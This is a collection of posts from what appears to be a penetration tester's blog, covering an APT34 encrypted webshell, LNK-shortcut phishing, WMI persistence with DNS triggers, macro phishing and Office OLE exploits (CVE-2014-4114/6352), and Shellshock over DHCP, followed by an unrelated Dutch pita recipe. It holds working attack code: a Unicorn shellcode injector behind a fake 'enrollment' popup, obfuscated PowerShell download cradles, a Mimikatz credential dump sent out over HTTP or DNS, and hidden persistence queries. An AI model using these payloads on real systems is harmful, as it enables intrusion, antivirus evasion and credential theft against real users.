Yesterday various tools, documentation and intel was dropped on Telegram. Another quick analysis can be found on the blog describes Poisonfrog and the HighShell and HyperShell webshells. This blog looks at another webshell (“base.aspx.txt”) that’s included in the dump. It caught my attention because it uses encryption and the in-memory invocation of C# code to hide the traffic and code execution from defenders.

Subverting detection

The reason this shell is interesting is that it uses encryption in order to perform communication between the panel and the attacker. Encrypted binary blobs are exchanged they can contain C# code that is eventually executed or the output of the C# code. The injected code can be anything and as long as it does not directly execute system commands it might be tricky to detect. A possible venue might be observing the dll’s loaded by “w3wp.exe”. The moment they use a PowerShell-less PowerShell trick its possible the “System.Management.Automation.Dll”, “” or “System.Reflection.Dll” DLLs are observed. This is guesswork and has to be verified in a test setup.

Encryption & signing

<DISCLAIMER> I suck at encryption and only half understand the process. </DISCLAIMER>

The binary blob thats being passed is not just encrypted but also cryptographically signed with RSA. The attacker has a private key thats used to verify the integrity and identity. Next to this the attacker has a separate GUID that points to a file on the attacked system containing the symmetric key for decrypting the payload. The process is like the following:

  1. Attacker sends: EncryptedSource, signature for the EncryptedSource, EncryptedParameters for execution and a signature for the key (ks). The attacker cookie contains A GUID which is the filename of the symmetric key.
  2. WebShell creates an RSACryptoServiceProvider using the public modulus and exponent.
  3. WebShell uses the GUID to load the symmetric key (used for decryption of the payload.)
  4. The signature of the EncryptedSource is verified using the RSACryptoServiceProvider
  5. The signature (ks) of the symmetric key is verified using the RSACryptoServiceProvider
  6. EncryptedSource and the EncryptedParameters are decrypted using the symmetric key
  7. The DecryptedSource is compiled in memory
  8. The compiled object is invoked using the DecryptedParameters
  9. The output is then encrypted using a newly generated symmetric key
  10. The newly generated symmetric key overwrites the previously stored symmetric key (of which we know the GUID filename)
  11. The newly generated symmetric key is encrypted using the RSA public key
  12. The symmetrically encrypted output and asymmetrically encrypted key are sent back to the attacker


It’s unclear if the dumped list of webshells actually us the webshell described in this blog. Seeing as some webshell documentation contains public and private keys its a really possibility this is the webshell of choice.

Another interesting fact about the webshells is that most of them are located inside of “/owa/auth/”. It’s interesting to see if the APT34 group possesses a 0day for Exchange or rather it just likes to hide their webshells inside this folder. Another document was found that describes the exact location on the Windows file system (“C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\”) lending credence to the idea that they like hiding there.

As mentioned before there’s a real chance we messed up with the specifics of the cryptography usage (please contact me for any corrections). Still it’s pretty cool to see a WebShell that deviates from the boring “system($_GET[‘a’]);” standard.

Thanks to @LeandroNVelasco for helping me figure out the execution/encryption flow.

Shortcuts: another neat phishing trick

Recently I read a blog about a Locky campaign using windows shortcut files to infect users. The microsoft blog describes a large scale phishing attack send Windows shortcut files in zip archives. For more inforamtion see: The TechNet blog.. The trick revolves around the fact that cmd.exe and powershell.exe both allow for commands passed via arguments. Creating a shortcut with the command parameters included will allow for powershell exectuion with a double click.

We do allot of phishing attacks and for all the backdoor related stuff we rely heavily on office macro’s using PowerShell. Or one of the available script formats like .js/.wsf/.jse/.hta etc etc. The issue is that organisations are disabling macro’s via the group policy and script files are being blocked via web/e-mail channels. If you haven’t blocked the execution of Macro’s via the command line look at this.

The Locky campaign used a download and execute trick which makes an executable touch disk which is easily detectable by AV. We cannot be AV-friendly as we rely on this for our phishing attacks detection would mess us up. Thats why we will use the lnk file als a stager, loading another PowerShell script which in turn will load Meterpreter. We could use a shortcut like the following:

%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -command "IEX (New-Object System.Net.WebClient).DownloadString('');"

On our webserver we can host the second stage, i like to use unicorn in order to inject our Meterpreter payload into memory. And combine that with a simple popup in order to tell the user everything is fine and to cary on with his or her day. So the “script” file we host will contain something like:

powershell -ExecutionPolicy bypass -window hidden -e &lt;BASE64 ENCODED COMMAND&gt;

Keep in mind that PowerShell wants it’s commands in unicode, its easiest to just do prepare the base64 in PowerShell. Otherwise encode your command with utf_16_le before base64 encoding. For the popup box we can use the following code:

[System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") ; 
[System.Windows.Forms.MessageBox]::Show("Your system has now been enrolled, thank you for you cooperation.", "YourCompany Enrollment.") ;  
#Unicorn output
$XF3ZnA = '$a9wC = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $a9wC -Name "Win32" -namespace Win32Functions -passthru;
[Byte[]];[Byte[]]$z = 0xbf,0xbb,0x96,0xcd,0xd0,0xdb,0xc1,0xd9,0x74,0x24,0xf4,0x5d,0x2b,0xc9,0xb1,0x57,0x31,0x7d,0x15,0x83,0xc5,0x04,0x03,0x7d,0x11,0xe2,0x4e,0x6a,0x25,0x52,0xb0,0x93,0xb6,0x33,0x39,0x76,0x87,0x73,0x5d,0xf2,0xb8,0x43,0x16,0x56,0x35,0x2f,0x7a,0x43,0xce,0x5d,0x52,0x64,0x67,0xeb,0x84,0x4b,0x78,0x40,0xf4,0xca,0xfa,0x9b,0x28,0x2d,0xc2,0x53,0x3d,0x2c,0x03,0x89,0xcf,0x7c,0xdc,0xc5,0x7d,0x91,0x69,0x93,0xbd,0x1a,0x21,0x35,0xc5,0xff,0xf2,0x34,0xe4,0x51,0x88,0x6e,0x26,0x53,0x5d,0x1b,0x6f,0x4b,0x82,0x26,0x26,0xe0,0x70,0xdc,0xb9,0x20,0x49,0x1d,0x15,0x0d,0x65,0xec,0x64,0x49,0x42,0x0f,0x13,0xa3,0xb0,0xb2,0x23,0x70,0xca,0x68,0xa6,0x63,0x6c,0xfa,0x10,0x48,0x8c,0x2f,0xc6,0x1b,0x82,0x84,0x8d,0x44,0x87,0x1b,0x42,0xff,0xb3,0x90,0x65,0xd0,0x35,0xe2,0x41,0xf4,0x1e,0xb0,0xe8,0xad,0xfa,0x17,0x15,0xad,0xa4,0xc8,0xb3,0xa5,0x49,0x1c,0xce,0xe7,0x05,0x8c,0xb5,0x63,0xd6,0x38,0x42,0xe5,0xb8,0xd1,0xf8,0x9d,0x08,0x55,0x26,0x59,0x6e,0x4c,0x17,0xbe,0xc3,0x3c,0x04,0x13,0xb7,0xaa,0x90,0xc5,0x4e,0x8c,0x1b,0x3c,0xe3,0x81,0x89,0xbc,0x57,0x75,0x25,0x78,0x56,0x79,0xb5,0x96,0xd5,0x79,0xb5,0x66,0xc9,0x40,0xe7,0x57,0x23,0xd9,0x07,0xc8,0x23,0x4a,0x8e,0x77,0x75,0x8b,0x45,0x0e,0xbc,0x27,0x0d,0x11,0x73,0x28,0x49,0x42,0x20,0xfb,0x06,0x36,0x90,0x93,0x43,0xed,0x32,0x5f,0x6c,0xdb,0xdd,0xf5,0x98,0xbb,0x89,0x89,0xaf,0x43,0x4a,0x03,0x2f,0x29,0x4e,0x43,0xc5,0xb1,0x18,0x0b,0x6c,0x88,0x3a,0x4d,0x71,0xc1,0x10,0x01,0xde,0xb9,0xc0,0xcd,0xcd,0x3b,0xf5,0x76,0xf2,0x91,0x80,0x49,0x79,0x10,0xc4,0x3c,0x58,0x4c,0x2a,0x0b,0xf8,0xdb,0x35,0xa1,0x96,0xa3,0xa1,0x4a,0x76,0x24,0x32,0x23,0x76,0x24,0x72,0xb3,0x25,0x4c,0x2a,0x17,0x9a,0x69,0x35,0x82,0x8f,0x21,0x99,0xa4,0x48,0x92,0x75,0xb7,0xb6,0x1d,0x86,0xe4,0xe0,0x75,0x94,0x9c,0x85,0x64,0x67,0x75,0x10,0xa8,0xec,0xbb,0x91,0x2e,0x0c,0x87,0x20,0xf0,0x7b,0xe2,0x72,0x32,0xdc,0x04,0xf7,0x4b,0x1c,0x2b,0xc6,0x8a,0xd1,0xfa,0x19,0xdb,0x2d,0x2d,0x6b,0x16,0x7b,0x1f,0xba,0x6f,0xb3,0x5f;
$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$fRu=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($fRu.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$fRu,0,0,0);for (;;){Start-sleep 60};';
$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($XF3ZnA));$XF3Z = "-e ";if([IntPtr]::Size -eq 8){$ZsQ = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $ZsQ $XF3Z $e"}else{;iex "& powershell $XF3Z $e";} ;

The above PowerShell is a simple popup box combined with the output of this allows us to load a our binary into memory.

Shortcuts can have any icon we want thats a big plus when we compare this to the script-based attacks. We can give it an icon that is appealing to a regular user or an icon that combines well with out phishing scenario.
this or something like this

So lets recap:

  1. User clicks shortcut
  2. PowerShell gets executed
  3. Our script get’s downloaded & executed
  4. We receive our meterpreter shell

User clicks and sees this:

Once the popup window is closed the second part get’s executed and we receive our shell.

The modern version of Outlook blocks lnk files by default, an alternative would be to use a zip file containing a lnk file. Mostly I distribute the file via a file-download. If you choose to go this route use HTTPs Letsencrypt is free and you reduce the chance of detection via a proxy/webfilter.

Another interesting approach is embedding the file into an office document as an OLE object. This could be used as an alternative to the macro’s and gives a user a minimal warning. The warning for the lnk file is minor especially compared to the clicking of an .exe as embedded object. Great thing about OLE objects is the capability of using custom icons again:

Clicking the icon in the office document will execute our PowerShell script. In the screenshot above we are using a simple Excel icon we could also do something with a button. That could be used for a scenario involving file decryption or some form of “activation”.
After a discussion with @Viss it seems that some AV companies try and detect scripts based on the Invoke-Expression alias. Invoke-Obfuscation can help bypass AV detection, after running our download script trough various iterations with Invoke-Obfuscation it can go from this:

IEX (New-Object System.Net.WebClient).DownloadString('');

to this:

Invoke-Expression( ([Regex]::Matches(" ))93]rahC[ f-)';)}'+'0{tpi'+'rc'+'s/07'+'1.'+'552'+'.861.291//:ptth}0'+'{(g'+'nirt'+'Sda'+'oln'+'woD.'+')'+'tn'+'ei'+'lC'+'beW.teN.m'+'etsyS tcejbO'+'-weN('+' XE'+'I'((( XEI ",'.', 'RightToLeft')-Join'' ) )

to this:

IEX( -JoIn ('49@6eM76M6fM6b{65U2d{45@78{70@72Z65Z73Z73Z69{6f&lt;6e@28{20@20M28@5b{52U65@67&amp;65&amp;78U5d@3a&lt;3aU4d&lt;61M74@63&lt;68I65M73U28@22{20&amp;29{29M39&lt;33&lt;5dM72I61U68M43Z5bU20&lt;20@66Z2d&amp;29I27U3b{29M7dZ27U2b&lt;27Z30M7bM74M70&lt;69&amp;27I2bI27{72I63Z27M2b@27@73M2fZ30&amp;37I27M2b@27&lt;31{2eZ27U2bM27@35I3532Z27Z2bZ27Z2e@38I36@31@2eI32U39{31I2f&lt;2f&lt;3a&amp;70I74&amp;74I68I7d&lt;30{27{2bZ27@7b&lt;28U67Z27&amp;2b@27@6e&lt;69&amp;72Z74I27I2bM27@53Z64&amp;61M27I2bZ27{6f&lt;6c{6e@27&amp;2bU27&lt;77M6f&amp;44&lt;2eZ27&lt;2b{27{29I27&lt;2bI27Z74{6e&lt;27@2b&lt;27M65I69M27@2bI27&amp;6cI43M27M2b@27U62&lt;65&amp;57{2eI74&lt;65{4e{2e&lt;6d@27I2b&lt;27I65{74I73&amp;79I53I20&lt;74Z63Z65@6a{62U4f&lt;27{2bZ27{2d&amp;77U65&amp;4eI28I27&amp;2b&lt;27{20Z58I45&amp;27Z2b&lt;27&amp;49@27U28{28{28&lt;20{58&amp;45U49Z20I22&amp;2c&lt;27@2eM27M2c{20@27&amp;52&lt;69&lt;67U68&lt;74Z54Z6f@4c&amp;65M66I74I27@29&amp;2dM4a@6f@69M6e{27{27@20M29{20@29'-sPLit '&lt;' -SPLIt'I'-SpLIT'Z'-splIT'&amp;'-SPLit'{' -sPLit'M'-SPliT'U'-SPlIt'@'|FoREaCH-oBjECt{( [COnveRT]::ToInT16( ( [StrinG]$_),16 )-As[char]) } ))

Invoke-Obfuscation is an awesome tool for obfuscating your PowerShell, it’ll save me some time during phishing exercises!

If you have any questions you can reach me on Twitter:

WMI: Some persistence idea’s

A few weeks ago I saw a tweet by @SwiftOnSecurity about a blogpost describing the “” malware.

The malware used wmi for persistence, it ran a VB script that modified the startup parameters of the targeted browsers to ensure it used their page as a starting-page. I had not read much into WMI, I only used it for remote command execution since it is superior to using PsExec (file less so less issues with AV). I read the blog and decided it would be nice to use this for my own persistence. I googled for “ActiveScriptEventConsumer” did not find many security related blogs. This should be good, I should be able to create something interesting! Googling some more showed me that there are in fact allot of people who have looked in to this, and that I was not really up-to-date.

Matt Graeber did a very good talk at BlackHat “Abusing Windows Management Instrumentation (WMI) to Build a Persistent, Asyncronous, and Fileless Backdoor”. The talk and document are very useful if you want to start using WMI. Check them out:
Document: PDF
Talk: YouTube

Well this won’t be really new but it may be interesting, I had some ideas on how to stay extra sneaky peaky. Most persistence activities try and run their shell each time a system boots or at a specific time. This constant C2 connection could allow the blue team to detect your reverse shells. Hiding those will allow you to maintain access to the network. The WMI part allows for file-less infection, using Powershell to execute our backdoors will keep us in memory using DNS will allow us to use a less-monitored channel. All in all a chance to keep our access without getting detected.


The DNS ping mechanism allows us to have intermittent checks if a reverse shell should be instantiated. Performing a unique query will get any DNS server to query us (the name server) in order to get the IP for our domain. This way we can check if the system querying us needs to start a shell. The response from our server, an ip, will describe what action to take. The protocol looks like the following:
format: <hostname>.<random seed>.<our domain>.<tld>

Hostname: so we can determine if we want a shell.
Random seed: to ensure we get a query from whichever DNS server is getting our clients request.

The client is pretty straightforward get the hostname, sanitize it, construct the query, fire the query and evaluate the result in order to determine if the shell needs to be started. You can find this script on GitHub.


In order to receive those query’s I downloaded dnslib and modified a version of the Server component that’s included. The requests look like the following:


The server receives the request, parses it and checks if there is a file with the same hostname available in the zombie folder. The source of the server is available from GitHub.


Executing the “touch zombie/IE11Win81” command will set the stage for our client, the next time it connects it will download our powershell code and execute it. Another great idea would be to use the IP returned from the query in order to determine which CNC to connect to. This could be achieved using Veil’s JSON-RPC API or chaining together and Flask in order to generate the payloads at will. In this POC I generated my payload using Hosting it on an SSL enabled site allows you to hide the content from IDS, now you only have to deal with known bad hosts/bad IP’s.

Now we need a mechanism that triggers our whole chain. This is where the WMI comes in, we will add a “CommandLineEventConsumer” with a time based query that allows us to check on specific hours of the day. The nice thing is you can do it based on many things, you could execute the script once someone adds a USB drive, once a user logs on interactively, once a specific process starts or stops or when that one user logs on.  I’ve created the following Managed Object Format (MOF)  file in order to add our backdoor. The util mofcomp will compile and add the correct instances to the required WMI repository. You can find the script on GitHub.


The command is our powershell script Base64 encoded and passed as a parameter, the -EncodedCommand allows us to do so. The mof file uses the following query:
SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA "Win32_LocalTime" AND TargetInstance.Hour = 14 AND TargetInstance.Minute = 48 AND TargetInstance.Second = 0;

Now the moment the system time hits 14:48:00:

  1. Our Powershell script is executed
  2. Client fires the query
  3. Our server checks if the host name file exists in our “zombies” folder
  4. Our server sends back the trigger IP
  5. Powershell scripts evaluates the IP and starts our powershell payload


w00t a nice SYSTEM shell. But if we wanted to we could just let that backdoor query every day right up until we actually need it.


Another interesting approach would be to ex filtrate credentials and not do anything else. This will allow you to keep access without actually having an active connection from your client to your server. I’ve thought about two ways of ex-filtrating the data: HTTPS or DNS. HTTPS is the easiest:

IEX (New-Object Net.WebClient).DownloadString('');
$var = Invoke-Mimikatz -DumpCreds;
$varbytes = [System.Text.Encoding]::UTF8.GetBytes($var);
$var64 = [System.Convert]::ToBase64String($varbytes);
(New-Object Net.WebClient).DownloadString('' +$var64);

Nice thing about the code above? MimiKatz source is being served by Github over https so no detection based on content, known bad host of known bad IP.

DNS is a bit more work 🙂 we need to clean the data and put it into DNS-bite sizes. Next to this we need a more extensive server side in order to re-assemble all the data. Because DNS is a UDP based protocol we can’t assume all requests come in at the same time. The source of this script is available from GitHub. Our client-side code executes the following process:

  1. Our backdoor executes MimiKatz
  2. Retrieves credentials
  3. Base64 all MimiKatz output
  4. Remove the bad chars from the Base64 output
  5. Cut our string into different parts so we can send it
  6. Query the domain with our domain format


The Powershell script above sends the following DNS queries to our DNS servers:
format: <call number>-<totall number of calls>.<data>.<message ID>.<domain>.<tld>

I used the same dnslib server code in order to handle the input we keep an array of messages based on it’s message ID. Once all packages are received the script re-adds the bad characters and Base64 decodes it. This time we need quite allot more query’s in order to send our data, a successful exfill will take somewhere around 100 queries. The server side code is available from GitHub.


The persistence we add in the same manner, only the query differs. We’ll use a query that fires each interactive logon. This could be useful when you own a server, the moment an admin logs in you receive an overview of the available credentials. That MOF file is available from GitHub.
SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA "Win32_LogonSession" AND TargetInstance.LogonType = 2;


Chances are some parts of my blog are unclear, that’s why i’ve uploaded all the used scripts to Github. So you can check how it all works and laugh at my code!

Interesting note: I’ve tested this on Windows 10 and noticed my PowerShell scripts get detected by Anti-Virus. Playing around the Invoke-Mimikatz I noticed Windows Defender detected the malware each time. This is due to a new feature in Windows 10 Antimalware Scan Interface (AMSI), I tried to modify allot of things except the MimiKatz binary and each time it got detected. Simple obfuscation did not seem to work, seems we now need to obfuscate at the source instead of packing everything. These where some very simple checks (base64, xor, adding/remove things), so nothing definitive yet!

If you still have any questions you can reach me on Twitter:

PowerShell: Better phishing for all!

A year ago i was watching a presentation by Dave Kennedy (ReL1k) and Josh Kelly called: “PowerShell…omfg” the presentation shows multiple techniques that are very very useful during a pentest. After viewing the video I realized i could make a small addition to a phishing attack I use the pretext is simple: I e-mail a client an office document containing very important data they should NOT have received. People are very curious and tend to open files containing data they should not have received. The office document is protected using my encryption preparation utility (Patent pending).


In order to decrypt the data macro’s should be enabled. I think you are getting the point right around here, the macro downloads my own backdoor to %TEMP% and executes the file. There is a BIG downside to that approach: most anti-virus alert or block on files being executed from the %TEMP% folder. This does not mean it doesn’t work it just means there is a chance of failure. And with phishing you get one chance so it needs to count!


Watching the presentation I got excited hearing that PowerShell is able to import functions from any DLL, this allows you to use functions like VirtualAlloc, memset and CreateThread. This will allow you to allocate executable memory, fill it with your program and execute it. This means that we can use a simple PowerShell script to inject any backdoor we like into memory just like syringe.c. The big difference is no compiled code, every Windows version above Vista has PowerShell built in. But there is more! PowerShell is usually allowed to execute because the administrators use it for their scripts so no worries about application-white listing. And best of all i haven’t had any anti-virus alarming my victims, ruining my phishing attack.

TrustedSec released a script called which does all of the heavy lifting for you it uses MetaSploit to generate a Meterpreter and prepares a PowerShell script that injects and executes the Meterpreter. It even generates a Metasploit script for you which sets up the payload handler. While this is very nice a user is not likely to trust a PowerShell script they are fare more accustomed to Office documents. VBA allows access to the windows shell via the Shell() function, from here we can call PowerShell in order to execute our Meterpreter. There are some things to work around though, one of the most important things is that VBScript has a maximum line length. I have modified the original script in order to output an entire macro.


The full script is available from my github repository. If you are using this script against targets in remote environments I would advise on using the windows/meterpreter/reverse_https this makes detecting/inspecting your connection much harder. I am now using the script during my phishing expeditions 🙂 It works allot better than just dropping an executable.

Stealing Credentials

Another great example of the power of PowerShell was displayed by enigma0x3, he created a script that asks the user for his username and password. The great thing is it looks like the actual login screen Winddows uses (probably because it is). This attack can be used in the scenario discussed above but is also great in post exploitation Wesley Neelen created a Metasploit module for this. The first time I saw the script I thought this would make a nice addition to my meterpreter injection, because I have a shell let’s have the credentials aswell!

I modified the script by engima0x3 and added a function to send the credentials to my own server, this makes the script usable for my macro. The modified script is available from my GitHub repo.

In order to get this into an easily handle-able format you can use the following one-liner to convert your PowerShell script to a base64 encoded string in order to exectue our script as a one-liner.
import base64, sys; print base64.b64encode(open(sys.argv[1]).read().encode('utf_16_le'))
The output can be executed using the PowerShell command:
powershell -win hidden -enc base64encodedscript

This all adds up to the following macro:

Now let’s add this to my Excel macro and we are ready for some phishing!


That’s all folks! If you have any questions, find me on Twitter:

CVE-2014-6352: Sandmonsters and free shells… kind of

This article assumes you have knowledge of CVE-2014-4114, if not please read my post about CVE-2014-4114 first.

After Microsoft patched the CVE-2014-4114 with MS14-060 Haifei Li of McAfee stated the patch was insufficient to block exploit attempts. Microsoft quickly supplied a QuickFix and workarounds in order to prevent the exploit being successful without user interaction. One of the workarounds is enabling UAC since UAC is enabled by default in Windows Vista and up the exploit is a little bit less interesting. The CVE-2014-4114 worked without user interaction making it a more interesting bug.

I have been looking for a sample for quite a while and gave up on finding a sample when yesterday i saw a tweet by @ithurricanept stating he/she modified a sample in order to start putty.exe including a download link! I could finally check out what makes the exploit tick.

Putty is nice but i wanted to see if i could pop my own shells and maybe figure out what makes this different from the original CVE-2014-4114.The difference between CVE-2014-4114 and CVE-2014-6352 seems to be the payload being downloaded or attached in an alternate stream. The exploit still works in the same way, once the file is opened packager.dll copies the files to temp. After this the packager tries to execute the dropped files this is due to the cmd verb with content of “3” which tells the package manager to install something.

        <p:cTn id="5" nodeType="afterEffect" fill="hold" presetSubtype="0" presetClass="verb" presetID="1">
                <p:cond delay="0"/>
                <p:cmd type="verb" cmd="3">
                        <p:cTn id="6" dur="1" fill="hold"/>
                        <p:spTgt spid="5"/>

it’s interesting to see that it’s not necessary to first run an .inf file but it’s also possible to execute an executable directly. In order to execute my own payload i opened up a new powerpoint file and added a new oleObject via insert>Object> select package and select an executable you want to add. Next i saved the file and opened it with a zip utility the oleObject is located at ppt\embeddings\oleObject1.bin.
Inspecting the newly created oleObject1.bin shows the structure:


I created a new ppsx by re-zipping all the files and renaming them to .ppsx After this I opened the file using powerpoint the presentation spawned a meterpreter shell. (this payload was created with a modified version of syringe.c.

opening the ppsx (UAC disabled) gives us a clear presentation no indication that anything is being executed. Netstat shows a different situation:

Looking at the console on my handler machine shows a new backdoor.

If you have any questions, find me on Twitter:

CVE-2014-4114: Sandmonsters and free shells

Hi All,

I willl be writing this blog in English again since it’s directed at security folks. This morning iSIGHTPartners released the details of a new attack against:

  • NATO
  • Ukrainian government organizations
  • Western European government organization
  • Energy Sector firms (specifically in Poland)
  • European telecommunications firms
  • United States academic organization

Normally I am not interested in these attacks as the payloads are the interesting part the way they are dropped are standard. This time a 0day in the OLE package manager was used to drop the payloads. I had trouble gaining access to a sample and was busy doing a pentest so I had to wait before I could play around with it. Eventually I found a tweet referencing a live sample:

Once I had the live sample I unpacked the file to find out what made it tick. Since the article by iSIGHTPartners referenced the OLE package manager did not handle the ole objects correctly allowing attackers to load more than just the referenced object. I started looking in the ppt/embeddings folder and found two files: oleObject1.bin and oleObject2.bin. Hexdumping the files revealed the bug and the inner working of the exploit.


The file EmbeddedStg1.txt is referenced, split by a nullbyte and after that the UNC path to a “gif” file.


This time the file EmbeddedStg2.txt is referenced then a nullbyte and the UNC path to a INF file.

I had one problem, the server was down and I was unable to download the inf file and the gif file. My guess was that the INF file was downloaded and executed, the file was used to rename and execute the GIF but I was unable to confirm this. Luckily this time @markloman of SurfRight helped me out and sent me the samples I needed to complete the chain. As suspected the inf file renamed the slide1.gif to slide1.gif.exe and executed it.


I do not understand why they chose to change the name from “.gif” to “.gif.exe” as this triggers my anti-virus (McAfee). Double extension have been used to trick users for ages so it’s logical this is perceived as suspicious behavior.

After all this I can’t wait to use this technique in my phishing attacks and pentests so it’s time for a POC of my own! First I unzipped the PPSX sample in order to modify the oleObjectX.bin files.  I modified the objects to refence a different share using a hex-editor.

object1 aangepast_clean

payload.gif is now referenced from my local share named pub.

object2 aangepast_clean

The INF file’s name changed and it’s also referenced from my local share called pub. The location could be anywhere though a remote share would work depending on the firewall settings of the cooperation you are targeting.


I modified the INF file as well in order to prevent my own anti-virus to trigger once a file with a double extension is executed. Next I re-zipped the file and renamed the zip to ppsx and opened it with using powerpoint so I could make it look pretty.

Opening the file and clicking for next page now results in the inf file and gif file being downloaded from the share. The INF file is then executed this results in the gif file being renamed to .exe and the file is executed. In my case the payload.gif is infact calc.exe but it could be something more malicous.


Special thanks to:


If you have any questions, find me on Twitter:

PineShock: Abusing Shellshock via a Pineapple

Hi All,

This time I will write my post in English since it’s directed at security folks. I got the idea of chaining the karma module of the pineapple with shellshock on the day of the advisory. I was giving a demo with the pineaple and noticed allot of systems called “mbp-*” which I guess where mac book pro’s. At the end of the day Trustedsec released a POC with a DHCP server which got me thinking. Since OSX was vulnerable I wanted to see if I could force them to join my network and own all those shiny Macbooks.

UPDATE: The OSX DHCP client is not vulnerable, still a nice attack to demonstrate the risk of automatically joining networks.

One problem, I don’t own a Macbook but I do have a spare machine with Ubuntu and an outdated version of Bash.

The process:

  1. Start karma module to force people to join the Wi-Fi.
  2. Once the machine joins wait for a DHCP request and send them the malicious DHCP-offer.
  3. Wait for a reverse shell and have fun!

The DHCP server of the Pineapple was disabled via:

uci set dhcp.lan.ignore=1
uci commit dhcp
/etc/init.d/dnsmasq restart

I used the metasploit module: exploit/unix/dhcp/bash_environment. Next I added an open Wi-Fi network to the Ubuntu machine. Since the machine was only used on secured networks I needed to add this. The standard Macbook is probably probing for various SSID’s without authentication.


After this the laptop automatically connected to the SSID, and a DCHP request was fired, the metasploit module sent a dhcp offer containing the same string in various DHCP options. The module uses the following options to deploy the payload:

  • URL


I noticed the Ubuntu machine does not trust one of the above options I think it was the domain name option but I am not sure. This means the other two DHCP options will be executed and we will receive two reverse shells once our payload is executed. The way the reverse shell is executed is via /etc/crontab, a new entry is added that needs to run immediately. First a sleep of a random duration then a telnet connection is set up to our machine on port 4444. After this the module takes over and cleans the crontab to ensure the machine does not keep connecting.


Nice this seems to be going well 🙂 let’s look at our shell one more time just because it’s that much fun!


The evil thing about this attack is the fact that the user has no choice but to join my network, vulnerable machine’s will get owned.


UPDATE: I just received news that the DHCP client voor OS X is not vulnerable to shellshock. Unfortunately I did not know this and did not have a mac to test on. It still is a nice attack because of the user being forced to join the network. It’s just not that prevalent:P

If you have any questions, find me on Twitter:

Griekse Pita/Flatbread

Na de vegetarische Gyros van Vleesch Noch Visch geproefd te hebben vroeg ik me af hoe het zat met de Pita waar alles op geserveerd werd. Vandaag was ik een dag vrij had genoeg tijd om het eens te proberen.

Uiteindelijk een recept gevonden op:

Hier de foto serie van het maken:

Alle ingrediënten in de mengkom.


In het originele recept staat alles bij elkaar behalve de bloem, hiervan langzaam toevoegen terwijl het deeg gemengd wordt. Ik heb alles bij elkaar gedaan en toen met de deeghaak zo’n 5 minuten gemengd tot het deeg mooi losliet van de zijkant.


Het deeg weg gezet om te rijzen toen de salade en tzatziki-achtige saus gaan maken.


De salade is een combi van dingen die ik nog had liggen. Ga een keer in de zoveel tijd naar de oosterse markt in Beverwijk daar koop ik dan groot in. Een doos tomaten bijvoorbeeld. Of die kleine komkommers die zoveel meer naar komkommer smaken dan die waterbommen uit de supermarkt.


Vervolgens kip in dunne plakken gesneden voor een recept dat ik een tijdje geleden heb verzonnen. Komt er op neer dat je dun gesneden kip bestrooid met veel cajun kruiden van de oosterse markt. (bij dat ene vrouwtje op die hoek, kan het je niet uitleggen.) In een droge pan heel heet bakken en op het laatste moment een teen knoflook en een Spaanse peper toevoegen. De dun gesneden kip is snel gaar en als je dus opschiet niet droog.


Verder met het brood, het deeg is netjes in verdeeld in 9 bolletjes en, na rusten, uitgerold klaar om te bakken. De broodjes waren ongeveer drie millimeter dik voor het bakken, tijdens het bakken rijst het geheel.


Zorg dat je pan goed heet is, verbaasde me hoe heet de pan moest zijn, anders was het resultaat iets droog. De pita’s bolde op als een ballon, beetje onhandig om de andere kant dan te garen maar ik had het idee dat lek prikken zou zorgen voor hele droge pita’s.

Alle broden die klaar waren netjes opgestapeld in een warme oven tot alle broodjes gebakken waren. Twee pannen zou een stuk sneller gaan, dat ga ik de volgende keer dan ook doen.


Nu klaar om te bouwen, dit gaat lekker snel is zeker goed te doen met een feestje oid.

1. Leg je pita op een stuk alu folie, PROTIP: minder folie dan dit.


2. Voeg je vulling toe, kan van alles zijn.


3. Voeg je sla toe, traag met t snijwerk? Scoor een mandoline maar pas op je vingers!


4. Saus en sriracha, ongeacht wat je aan het eten bent sriracha!


5. vouw het geheel dicht en klaar!



Update: Gisteren de broodjes die over waren ingevroren, deze heb ik vandaag opnieuw opgebakken. Conclusie: Niet zo lekker als vers uit de pan, maar zeker niet veel. De buitenkant was krokanter de binnenkant iets droger.